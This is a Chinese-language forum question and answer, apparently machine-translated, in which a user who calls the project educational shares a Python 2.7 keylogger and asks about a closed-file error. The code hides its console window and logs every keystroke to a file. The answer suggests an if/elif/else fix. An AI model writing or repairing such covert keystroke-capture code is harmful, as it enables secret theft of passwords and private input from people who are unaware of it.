所以我想创建一个键盘记录器(仅限教育目的)和我的代码
#!/usr/bin/env python
import pyHook
import pythoncom
import win32gui
import win32console
import time
import smtplib, os
log_file = "d:\control.txt" #name of log file
window = win32console.GetConsoleWindow() #go to script window
win32gui.ShowWindow(window,0) #hide window
def pressed_chars(event): #on key pressed function
if event.Ascii:
f = open(log_file,"a") # (open log_file in append mode)
char = chr(event.Ascii) # (insert real char in variable)
if char == "q": # (if char is q)
f.close() # (close and save log file)
if event.Ascii == 13: # (if char is "return")
f.write("\n") # (new line)
f.write(char) # (write char)
proc = pyHook.HookManager() #open pyHook
proc.KeyDown = pressed_chars #set pressed_chars function on KeyDown event
proc.HookKeyboard() #start the function
pythoncom.PumpMessages()
运行代码后,我得到了一些像这样的错误
Traceback (most recent call last):
File "C:\Python278\lib\site-packages\pyHook\HookManager.py", line 351, in KeyboardSwitch
return func(event)
File "C:\Python278\logger.pyw", line 22, in pressed_chars
f.write(char) # (write char)
ValueError: I/O operation on closed file
我做到这一点,每当我按下字符Q' Q'该程序将结束记录键击。但是如果我输入以下代码:" exit()"在19-20行之间,该程序工作正常,但在它可以做任何其他事情之前退出。我一直试图自己解决这个问题,但我似乎无法按照我想要的方式来解决这个问题。有任何想法吗?顺便使用Python 2.7.8。
答案 0 :(得分:0)
如果char是" q",则关闭该文件。 '如果char ==" q":#(如果char是q)'
尝试制作一个if .. elif .. else。
顺便说一下,我更喜欢open()(详见:for line in open(filename))